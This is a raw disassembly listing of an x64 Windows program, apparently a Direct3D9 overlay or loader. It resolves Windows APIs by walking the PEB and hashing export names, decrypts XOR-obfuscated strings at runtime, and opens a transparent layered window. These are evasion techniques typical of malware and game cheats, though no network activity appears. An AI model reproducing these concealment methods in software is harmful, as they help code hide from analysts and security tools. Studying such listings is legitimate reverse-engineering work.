mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1068]
add rbx, r10
call fcn.14009c300
cmp qword [rax + 0x18], 0x10
jb 0x14005439e
mov rax, qword [rax]
movabs rcx, 0xb96e450c81991f75
mov qword [rbp + 0x1d50], r15
mov qword [rbp + 0xab0], rcx
lea rdx, [rbp + 0xab0]
movabs rcx, 0xbec0da5991ed1558
mov qword [rbp + 0x1d58], rsi
movdqa xmm0, xmmword [rbp + 0x1d50]
movabs rdi, 0xdc34002ced88702c
mov qword [rbp + 0xab8], rcx
mov r9d, 0x1000
xorps xmm0, xmmword [rbp + 0xab0]
movabs rcx, 0x2b46265f7880505e
mov qword [rbp + 0xac0], rcx
mov r8, rax
movdqa xmmword [rbp + 0xab0], xmm0
movabs rcx, 0xb114674284e61745
mov qword [rbp + 0xac8], rcx
movabs rcx, 0xac482a0c74991443
mov qword [rbp + 0xad0], rcx
movabs rcx, 0x1c69f80cce7c124d
mov qword [rbp + 0xad8], rcx
movabs rcx, 0x59502c4994045c5f
mov qword [rbp + 0xae0], rcx
movabs rcx, 0xb3e2365903745049
mov qword [rbp + 0xae8], rcx
movabs rcx, 0x4ff209408e6b1e45
mov qword [rbp + 0xaf0], rcx
movabs rcx, 0x8a0ba42c100e0249
mov qword [rbp + 0xaf8], rcx
movabs rcx, 0x7866522c1dd4702c
mov qword [rbp + 0x1d60], rcx
movabs rcx, 0xdf214e2c58fc702c
mov qword [rbp + 0x1d70], rcx
movabs rcx, 0x75018c2cab10702c
mov qword [rbp + 0x1d78], rcx
movabs rcx, 0x2b3f4a2cf624702c
movdqa xmm0, xmmword [rbp + 0x1d70]
xorps xmm0, xmmword [rbp + 0xad0]
mov qword [rbp + 0x1d80], rcx
movabs rcx, 0xdb81582c6218702c
mov qword [rbp + 0x1d88], rcx
movabs rcx, 0x2b93662cae0c702c
mov qword [rbp + 0x1d90], rcx
movabs rcx, 0x8a0ba42c1020702c
mov qword [rbp + 0x1d98], rcx
xor ecx, ecx
movdqa xmmword [rbp + 0xad0], xmm0
movdqa xmm0, xmmword [rbp + 0x1d90]
xorps xmm0, xmmword [rbp + 0xaf0]
mov qword [rbp + 0x1d68], rdi
movdqa xmm1, xmmword [rbp + 0x1d60]
xorps xmm1, xmmword [rbp + 0xac0]
movdqa xmmword [rbp + 0xac0], xmm1
movdqa xmm1, xmmword [rbp + 0x1d80]
xorps xmm1, xmmword [rbp + 0xae0]
movdqa xmmword [rbp + 0xaf0], xmm0
movdqa xmmword [rbp + 0xae0], xmm1
call rbx
lea rcx, [rbp + 0x1068]
call fcn.140009ab0
call fcn.14009a4b0
mov qword [rbp + 0x2b8], rsi
lea rcx, [rbp + 0x2b0]
mov qword [rbp + 0x1810], r15
movabs rbx, 0xca724e49ddde1c44
mov qword [rbp + 0x2b0], rbx
mov qword [rbp + 0x1818], rsi
movdqa xmm0, xmmword [rbp + 0x1810]
xorps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x2b0], xmm0
call fcn.14009aad0
test eax, eax
je 0x1400547e1
mov qword [rbp + 0x2c0], rbx
lea rcx, [rbp + 0x2c0]
mov qword [rbp + 0x2c8], rsi
mov qword [rbp + 0x1810], r15
mov qword [rbp + 0x1818], rsi
movdqa xmm0, xmmword [rbp + 0x1810]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
call fcn.14009a3c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140054697
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140054697
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140054692
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140054670
cmp r8d, 0x23a979e4
je 0x14005469c
test r9d, r9d
jne 0x140054650
mov rax, qword [rax]
jmp 0x140054620
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1088]
add rbx, r10
call fcn.14009c300
cmp qword [rax + 0x18], 0x10
jb 0x1400546ce
mov rax, qword [rax]
movabs rdx, 0x75018c2cab10702c
mov qword [rbp + 0x1ae0], r15
mov qword [rbp + 0x728], rdx
movabs rcx, 0xea72554d959e117b
mov qword [rbp + 0x700], rcx
movabs rdi, 0xdc34002ced88702c
mov qword [rbp + 0x1b08], rdx
movabs rcx, 0xfbc0d15fc2ef1c4f
mov qword [rbp + 0x708], rcx
lea rdx, [rbp + 0x700]
movabs rcx, 0xd05375f3da61f4a
mov qword [rbp + 0x1ae8], rsi
movdqa xmm0, xmmword [rbp + 0x1ae0]
mov r9d, 0x1000
xorps xmm0, xmmword [rbp + 0x700]
mov r8, rax
mov qword [rbp + 0x710], rcx
movabs rcx, 0xae41700c94fc195e
mov qword [rbp + 0x718], rcx
movabs rcx, 0xdf0f3d492b8f1f5c
mov qword [rbp + 0x720], rcx
movabs rcx, 0x7866522c1dd4702c
mov qword [rbp + 0x1af0], rcx
movabs rcx, 0xdf214e2c58fc702c
mov qword [rbp + 0x1b00], rcx
xor ecx, ecx
movdqa xmmword [rbp + 0x700], xmm0
movdqa xmm0, xmmword [rbp + 0x1b00]
xorps xmm0, xmmword [rbp + 0x720]
mov qword [rbp + 0x1af8], rdi
movdqa xmm1, xmmword [rbp + 0x1af0]
xorps xmm1, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x720], xmm0
movdqa xmmword [rbp + 0x710], xmm1
call rbx
lea rcx, [rbp + 0x1088]
call fcn.140009ab0
call fcn.1400947f0
test al, al
je 0x1400547ef
call fcn.14009a4b0
mov ecx, 8
call fcn.1400a02e0
test rax, rax
je 0x14005480a
lea rcx, [0x140099db0]
mov qword [rax], rcx
jmp 0x14005480d
mov rax, r12
lea rcx, [rbp + 0x12b8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004f3f0]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call fcn.1400d2db0
mov qword [rbp + 0x12b0], rax
test rax, rax
je 0x14005acd7
cmp dword [rbp + 0x12b8], r12d
je 0x14005ace9
movaps xmm0, xmmword [rbp + 0x12b0]
lea rcx, [rbp + 0x1820]
movdqa xmmword [rbp + 0x1820], xmm0
call fcn.14009f798
test eax, eax
jne 0x14005ace9
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rbp + 0x12b0], xmm0
call fcn.1400a02e0
test rax, rax
je 0x140054895
lea rcx, [0x1400913e0]
mov qword [rax], rcx
jmp 0x140054898
mov rax, r12
lea rcx, [rbp + 0x12c8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004f3f0]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call fcn.1400d2db0
mov qword [rbp + 0x12c0], rax
test rax, rax
je 0x14005acc5
cmp dword [rbp + 0x12c8], r12d
je 0x14005ace9
movaps xmm0, xmmword [rbp + 0x12c0]
lea rcx, [rbp + 0x1820]
movdqa xmmword [rbp + 0x1820], xmm0
call fcn.14009f798
test eax, eax
jne 0x14005ace9
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rbp + 0x12c0], xmm0
call fcn.1400a02e0
test rax, rax
je 0x140054920
lea rcx, [0x140096a20]
mov qword [rax], rcx
jmp 0x140054923
mov rax, r12
lea rcx, [rbp + 0x12d8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004f3f0]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call fcn.1400d2db0
mov qword [rbp + 0x12d0], rax
test rax, rax
je 0x14005acb3
cmp dword [rbp + 0x12d8], r12d
je 0x14005ace9
movaps xmm0, xmmword [rbp + 0x12d0]
lea rcx, [rbp + 0x1820]
movdqa xmmword [rbp + 0x1820], xmm0
call fcn.14009f798
test eax, eax
jne 0x14005ace9
xorps xmm0, xmm0
lea rcx, [0x1402b14e8]
xor r8d, r8d
movdqa xmmword [rbp + 0x12d0], xmm0
mov edx, 0x100
call fcn.14004a7a0
cmp qword [0x1402b1500], 0x10
lea rcx, [0x1402b14e8]
mov r8, qword [0x1402b14f8]
cmovae rcx, qword [0x1402b14e8]
xor edx, edx
call fcn.1400bc2f0
xorps xmm0, xmm0
mov qword [rbp + 0x1810], r15
movups xmmword [rbp + 0x1278], xmm0
movabs rax, 0xa839575892885f02
mov qword [rbp + 0x1818], rsi
movdqa xmm0, xmmword [rbp + 0x1810]
mov rbx, 0xffffffffffffffff
mov qword [rbp - 0x70], rax
movabs rax, 0xdba4b42cb1801e45
mov qword [rbp - 0x68], rax
lea rax, [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
mov qword [rbp + 0x1288], r12
mov qword [rbp + 0x1290], 0xf
mov byte [rbp + 0x1278], r12b
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140054a34
lea rcx, [rbp + 0x1278]
cmp rbx, 0xf
ja 0x140054a67
mov r8, rbx
mov qword [rbp + 0x1288], rbx
lea rdx, [rbp - 0x70]
call fcn.1400bd5b0
mov byte [rbp + rbx + 0x1278], r12b
jmp 0x140054a7b
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rdx, rbx
call fcn.140012a30
xor edx, edx
lea rcx, [rbp + 0x13e0]
mov r8d, 0x110
call fcn.1400bc2f0
mov r9d, 0x40
mov dword [rsp + 0x20], r14d
mov r8d, r14d
lea rdx, [rbp + 0x1278]
lea rcx, [rbp + 0x13e0]
call fcn.14004a910
mov ebx, 2
cmp qword [rbp + 0x1470], r12
je 0x140054da2
mov rax, qword [rbp + 0x13e0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1330], xmm0
mov qword [rbp + 0x1340], r12
mov dl, 0xa
mov qword [rbp + 0x1348], 0xf
mov byte [rbp + 0x1330], r12b
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x13e0]
add rcx, rax
call fcn.140052000
movzx r8d, al
lea rdx, [rbp + 0x1330]
lea rcx, [rbp + 0x13e0]
call fcn.14004f420
cmp qword [rbp + 0x1340], r14
jbe 0x140054d59
movabs rax, 0xac5d0f64918e4764
mov qword [rbp + 0x268], rdi
mov qword [rbp + 0x250], rax
movabs rbx, 0x7866522c1dd4702c
movabs rax, 0xa19cc14ffdc73643
mov qword [rbp + 0x260], rbx
mov qword [rbp + 0x258], rax
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x1890], r15
lea rax, [rbp + 0x250]
mov qword [rbp + 0x1898], rsi
movdqa xmm0, xmmword [rbp + 0x1890]
xorps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x18a0], rbx
mov qword [rbp + 0x18a8], rdi
movdqa xmm1, xmmword [rbp + 0x18a0]
xorps xmm1, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x260], xmm1
xorps xmm1, xmm1
movups xmmword [rbp + 0xc60], xmm0
movdqu xmmword [rbp + 0xc70], xmm1
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140054bd0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xc60]
call fcn.140042620
movabs rax, 0x93657a199ade495e
mov qword [rbp + 0x1b10], r15
mov qword [rbp + 0x540], rax
movabs rcx, 0xdf214e2c58fc702c
movabs rax, 0x92eafb5dc8b5331c
mov qword [rbp + 0x560], rcx
mov qword [rbp + 0x548], rax
mov r8, 0xffffffffffffffff
movabs rax, 0x4b0303616ce5441a
mov qword [rbp + 0x1b18], rsi
movdqa xmm0, xmmword [rbp + 0x1b10]
xorps xmm0, xmmword [rbp + 0x540]
mov qword [rbp + 0x550], rax
movabs rax, 0xa871717480ba316b
mov qword [rbp + 0x558], rax
movabs rax, 0x75018c2cab10702c
movdqa xmmword [rbp + 0x540], xmm0
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x1b38], rax
lea rax, [rbp + 0x540]
mov qword [rbp + 0x1b20], rbx
mov qword [rbp + 0x1b28], rdi
movdqa xmm1, xmmword [rbp + 0x1b20]
xorps xmm1, xmmword [rbp + 0x550]
mov qword [rbp + 0x1b30], rcx
movdqa xmm0, xmmword [rbp + 0x1b30]
xorps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x560], xmm0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x550], xmm1
xorps xmm1, xmm1
movups xmmword [rbp + 0xc40], xmm0
movdqu xmmword [rbp + 0xc50], xmm1
inc r8
cmp byte [rax + r8], r12b
jne 0x140054ce4
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0xc40]
call fcn.140042620
lea r9, [rbp + 0xc60]
lea r8, [rbp + 0xc40]
lea rdx, [rbp + 0x1330]
lea rcx, [rbp + 0x10a8]
call fcn.14004ede0
mov rdx, rax
lea rcx, [0x1402b14e8]
call fcn.14000b210
lea rcx, [rbp + 0x10a8]
call fcn.140009ab0
lea rcx, [rbp + 0xc40]
call fcn.140009ab0
lea rcx, [rbp + 0xc60]
call fcn.140009ab0
mov ebx, 2
lea rcx, [rbp + 0x13f0]
call fcn.14004adc0
test rax, rax
jne 0x140054d96
mov rax, qword [rbp + 0x13e0]
mov edx, 6
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x13e0]
add rcx, rax
cmp qword [rcx + 0x48], r12
cmovne edx, ebx
xor r8d, r8d
or edx, dword [rcx + 0x10]
call fcn.14003cf20
lea rcx, [rbp + 0x1330]
call fcn.140009ab0
mov qword [rbp + 0x138], rsi
lea rcx, [rbp + 0xc80]
movabs rax, 0xca644549908f055f
mov qword [rbp + 0x1810], r15
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x1818], rsi
movdqa xmm0, xmmword [rbp + 0x1810]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x130], xmm0
call fcn.1400459a0
mov rcx, rax
lea rdx, [rbp + 0x130]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rdx + rax], r12b
jne 0x140054e00
cmp qword [rcx + 0x18], 0x10
mov r8, qword [rcx + 0x10]
jb 0x140054e17
mov rcx, qword [rcx]
cmp r8, rax
jne 0x140054e30
lea rdx, [rbp + 0x130]
call fcn.1400bd4b0
test eax, eax
jne 0x140054e30
xor bl, bl
jmp 0x140054e34
movzx ebx, r14b
mov rdx, qword [rbp + 0xc98]
cmp rdx, 0x10
jb 0x140054e75
mov rcx, qword [rbp + 0xc80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054e70
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005acad
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
mov byte [rbp + 0xc80], r12b
movdqu xmmword [rbp + 0xc90], xmm0
test bl, bl
je 0x140054e95
call fcn.14009a4b0
lea rcx, [rbp + 0xc20]
call fcn.140048710
mov rdx, qword [rbp + 0xc38]
cmp rdx, 0x10
jb 0x140054ee2
mov rcx, qword [rbp + 0xc20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054edd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005acad
call fcn.1400a031c
cmp qword [0x1402b14b8], 0x10
lea rdx, [0x1402b14a0]
mov r8, qword [0x1402b1410]
lea rcx, [0x1402b1400]
cmovae rdx, qword [0x1402b14a0]
cmp qword [0x1402b1418], 0x10
movdqa xmm0, xmmword [0x1400fe2b0]
cmovae rcx, qword [0x1402b1400]
cmp r8, qword [0x1402b14b0]
movdqu xmmword [rbp + 0xc30], xmm0
mov byte [rbp + 0xc20], r12b
jne 0x14005ac03
call fcn.1400bd4b0
test eax, eax
jne 0x14005ac03
movabs rax, 0xca735340918d1e69
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x140], rax
lea rcx, [rbp + 0x140]
mov qword [rbp + 0x1810], r15
mov rax, 0xffffffffffffffff
mov qword [rbp + 0x1818], rsi
movdqa xmm0, xmmword [rbp + 0x1810]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
inc rax
cmp byte [rcx + rax], r12b
jne 0x140054f93
cmp qword [0x1402b1438], 0x10
lea rcx, [0x1402b1420]
mov r8, qword [0x1402b1430]
cmovae rcx, qword [0x1402b1420]
cmp r8, rax
jne 0x14005ac03
lea rdx, [rbp + 0x140]
call fcn.1400bd4b0
test eax, eax
jne 0x14005ac03
lea rdx, [0x1400437f0]
lea rcx, [rbp + 0x1320]
call fcn.14004f310
cmp dword [rbp + 0x1328], r12d
je 0x14005ace9
movaps xmm0, xmmword [rbp + 0x1320]
lea rcx, [rbp + 0x1820]
movdqa xmmword [rbp + 0x1820], xmm0
call fcn.14009f798
test eax, eax
jne 0x14005ace9
xorps xmm0, xmm0
lea edx, [rax + 0x10]
lea rcx, [rbp + 0x10c8]
movdqa xmmword [rbp + 0x1320], xmm0
call fcn.14009c300
mov r12, rax
cmp qword [rax + 0x18], 0x10
jb 0x140055041
mov r12, qword [rax]
lea rcx, [rbp + 0x10c8]
call fcn.140009ab0
xor esi, esi
mov qword [rbp + 0x1170], 3
lea rax, [0x14004fef0]
mov qword [rbp + 0x1180], rsi
mov edx, 0x7f00
mov qword [rbp + 0x1178], rax
xor ecx, ecx
mov qword [rbp + 0x1190], rsi
mov qword [rbp + 0x11a8], rsi
mov qword [rbp + 0x1188], r13
mov qword [rbp + 0x11b0], r12
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rcx, [rbp + 0x1170]
mov qword [rbp + 0x11a0], 0xc
mov qword [rbp + 0x1198], rax
call qword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
je 0x1400588b3
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x13a0]
call qword [sym.imp.USER32.dll_GetWindowRect]
movd xmm0, dword [rbp + 0x13a8]
mov r9d, 0x80000000
movss xmm7, dword [0x1401089f8]
cvttss2si ecx, dword [0x1402b14e0]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
cvttss2si eax, dword [0x1402b14e4]
movss xmm9, dword [0x140108a40]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
xor ecx, ecx
mulss xmm0, xmm7
subss xmm0, xmm9
cvttss2si r8d, xmm0
movd xmm0, dword [rbp + 0x13ac]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm7
subss xmm0, dword [0x140108a30]
cvttss2si edx, xmm0
mov dword [rsp + 0x28], edx
mov rdx, r12
mov dword [rsp + 0x20], r8d
mov r8, r12
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov r15, rax
test rax, rax
jne 0x140055175
lea r14d, [rsi + 2]
jmp 0x1400588b3
mov ecx, 0x20
call sub.d3d9.dll_Direct3DCreate9
mov rbx, rax
test rax, rax
jne 0x140055193
mov rdx, r13
mov rcx, r12
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov qword [0x1402b18e0], rsi
mov r9, r15
mov qword [0x1402b18ec], rsi
mov r8d, r14d
mov dword [0x1402b18f4], esi
xor edx, edx
mov qword [0x1402b18fc], rsi
mov rcx, rbx
mov dword [0x1402b1904], esi
mov qword [0x1402b1914], rsi
mov dword [0x1402b1908], r14d
mov dword [0x1402b18f8], r14d
mov dword [0x1402b18e8], esi
mov dword [0x1402b190c], r14d
mov dword [0x1402b1910], 0x50
mov dword [0x1402b191c], r14d
mov rax, qword [rbx]
mov r10, qword [rax + 0x80]
lea rax, [0x1402b18d0]
mov qword [rsp + 0x30], rax
lea rax, [0x1402b18e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
call r10
test eax, eax
jns 0x14005523d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x1400588b3
mov edx, 0xffffffec
mov rcx, r15
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov rcx, r15
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, r14d
mov r8b, 0x9b
mov edx, 0xff
mov rcx, r15
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov edx, 0xa
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r15
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.140060b40
call fcn.140063be0
lea rcx, [rbp + 0x14f0]
mov rdi, rax
call fcn.140071c50
mov byte [rbp + 0x14fc], sil
mov rbx, qword [rdi + 0xa0]
mov rcx, rbx
call fcn.140076930
movss xmm2, dword [0x140108a20]
lea r9, [rbp + 0x14f0]
movabs rcx, 0xa5735845a4c34a6f
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x650], rcx
lea rdx, [rbp + 0x650]
movabs rcx, 0xa8d0da43f7af035b
movabs rsi, 0xdc34002c8bfc0402
mov qword [rbp + 0x658], rcx
movabs rcx, 0x1114304571b51303
mov qword [rbp + 0x660], rcx
movabs rcx, 0xca17362cf3ec702c
mov qword [rbp + 0x1830], rcx
movabs rcx, 0xdba4b42cb180702c
mov qword [rbp + 0x1838], rcx
movabs rcx, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x1830]
xorps xmm0, xmmword [rbp + 0x650]
mov qword [rbp + 0x1840], rcx
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x1848], rcx
mov rcx, rbx
movdqa xmm1, xmmword [rbp + 0x1840]
mov qword [rbp + 0x668], rsi
xorps xmm1, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x660], xmm1
movdqa xmmword [rbp + 0x650], xmm0
call fcn.140072f00
lea rcx, [rbp + 0x1690]
call fcn.140071c50
movss xmm3, dword [0x140108a24]
lea rax, [0x1401089d8]
mov qword [rsp + 0x28], rax
lea rdx, str.OTTO
lea rax, [rbp + 0x1690]
mov byte [rbp + 0x16d8], r14b
mov byte [rbp + 0x16b0], r14b
mov r8d, 0x15d490
mov rcx, qword [rdi + 0xa0]
mov qword [rsp + 0x20], rax
call fcn.140073660
mov rbx, qword [rdi + 0xa0]
mov rcx, rbx
call fcn.140076930
movabs rcx, 0xa5735845a4c34a6f
mov qword [rbp + 0x648], rsi
mov qword [rbp + 0x630], rcx
movabs rcx, 0xa8d0da43f7af035b
mov qword [rbp + 0x638], rcx
movabs rcx, 0x1114304571b51303
mov qword [rbp + 0x640], rcx
movabs rcx, 0xca17362cf3ec702c
mov qword [rbp + 0x1850], rcx
movss xmm2, dword [0x140108a0c]
lea r9, [rbp + 0x14f0]
movabs rcx, 0xdba4b42cb180702c
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x1858], rcx
lea rdx, [rbp + 0x630]
movdqa xmm0, xmmword [rbp + 0x1850]
movabs rcx, 0x7866522c1dd4702c
xorps xmm0, xmmword [rbp + 0x630]
mov qword [rbp + 0x1860], rcx
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x1868], rcx
mov rcx, rbx
movdqa xmm1, xmmword [rbp + 0x1860]
xorps xmm1, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x640], xmm1
movdqa xmmword [rbp + 0x630], xmm0
call fcn.140072f00
mov qword [0x1402b1948], rax
mov rbx, qword [rdi + 0xa0]
mov rcx, rbx
call fcn.140076930
movss xmm2, dword [0x140108a10]
lea r9, [rbp + 0x14f0]
mov qword [rbp + 0x628], rsi
lea rdx, [rbp + 0x610]
movabs rcx, 0xa5735845a4c34a6f
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x610], rcx
movabs rdi, 0xdba4b42cb180702c
movabs rcx, 0xa8d0da43f7af035b
mov qword [rbp + 0x1878], rdi
mov qword [rbp + 0x618], rcx
movabs rcx, 0x1114304571b51303
mov qword [rbp + 0x620], rcx
movabs rcx, 0xca17362cf3ec702c
mov qword [rbp + 0x1870], rcx
movabs rcx, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x1870]
xorps xmm0, xmmword [rbp + 0x610]
mov qword [rbp + 0x1880], rcx
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x1888], rcx
mov rcx, rbx
movdqa xmm1, xmmword [rbp + 0x1880]
xorps xmm1, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x620], xmm1
movdqa xmmword [rbp + 0x610], xmm0
call fcn.140072f00
xor esi, esi
mov qword [0x1402b1950], rax
cmp qword [0x1402b13f0], rsi
jne 0x140055623
mov rcx, qword [0x1402b18d0]
lea rax, [0x1402b13f0]
mov qword [rsp + 0x70], rax
lea rdx, [0x1401470a0]
mov qword [rsp + 0x68], rsi
mov r9d, 0x400
mov qword [rsp + 0x60], rsi
mov r8d, 0x8232
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x400
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
mov rcx, r15
call fcn.140083a10
mov rcx, qword [0x1402b18d0]
call fcn.140082d80
xor ecx, ecx
call fcn.14007a970
movss xmm10, dword [0x140108a74]
xorps xmm0, xmm0
movss xmm11, dword [0x140108a08]
movss xmm6, dword [0x140108a64]
movss xmm12, dword [0x140108a00]
movss xmm8, dword [0x140108a80]
movss xmm14, dword [0x140108a3c]
movss xmm15, dword [0x140108a38]
movss xmm13, dword [0x140108a58]
movups xmmword [rbp + 0x13b0], xmm0
movups xmmword [rbp + 0x13c0], xmm0
movups xmmword [rbp + 0x13d0], xmm0
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, [rbp + 0x13b0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400556dd
lea rcx, [rbp + 0x13b0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x13b0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14005884b
call fcn.140082e40
call fcn.140083b20
call fcn.1400699f0
call fcn.140064120
mov byte [rax + 0xa9], r14b
call fcn.140064120
mov byte [rax + 0xa8], r14b
call fcn.140064120
mov dword [rax + 0xb0], 0x42400000
call fcn.140064120
xor edx, edx
lea rcx, [rbp - 0x60]
mov dword [rax + 0xac], 0x3f800000
mov dword [rbp - 0x60], 0x44160000
mov dword [rbp - 0x5c], 0x43af0000
call fcn.14006e4f0
lea r8, [rbp - 0x58]
mov qword [rbp - 0x58], 0
xor edx, edx
mov qword [rbp - 0x50], 0
lea rcx, [rbp - 0x50]
call fcn.14006e460
lea rdx, [rbp - 0x48]
mov qword [rbp - 0x48], 0
mov ecx, r14d
call fcn.14006b310
movss xmm1, dword [0x140108a14]
mov ebx, 2
mov ecx, ebx
call fcn.14006b3f0
xorps xmm1, xmm1
lea ecx, [rbx + 1]
call fcn.14006b3f0
movss xmm1, dword [0x1401089fc]
lea ecx, [rbx + 0xe]
call fcn.14006b3f0
movaps xmm0, xmmword [0x140108b00]
lea rdx, [rbp + 0xcb8]
mov ecx, ebx
movups xmmword [rbp + 0xcb8], xmm0
call fcn.14006b2b0
movaps xmm0, xmmword [0x140108af0]
lea rdx, [rbp + 0xcc8]
xor ecx, ecx
movups xmmword [rbp + 0xcc8], xmm0
call fcn.14006b2b0
movaps xmm0, xmmword [0x140108a90]
lea rdx, [rbp + 0xcd8]
lea ecx, [rbx + 0xc]
movups xmmword [rbp + 0xcd8], xmm0
call fcn.14006b2b0
movabs rax, 0xea65534487831e6d
mov qword [rbp + 0x1818], rdi
mov qword [rbp + 0x2d0], rax
lea rcx, [rbp + 0x2d0]
movabs rax, 0xdba4c343d5ee197b
movabs rbx, 0xca17362cf3ec702c
mov qword [rbp + 0x2d8], rax
xor edx, edx
mov qword [rbp + 0x1810], rbx
mov r8d, 0x13b
movdqa xmm0, xmmword [rbp + 0x1810]
xorps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2d0], xmm0
call fcn.14005ce80
lea rcx, [rbp + 0xdb8]
call fcn.140064240
movss xmm0, dword [rax]
movss dword [0x1402b1920], xmm0
movss xmm1, dword [rax + 4]
movss dword [0x1402b1924], xmm1
call fcn.140064210
movss xmm3, dword [0x1402b1920]
movss xmm2, dword [0x1402b1924]
movaps xmm0, xmm3
addss xmm0, xmm10
mov qword [0x1402b13d0], rax
mov dword [rbp - 0x40], 0x3f800000
mov dword [rbp - 0x3c], 0x3f800000
mov qword [rbp - 0x38], 0
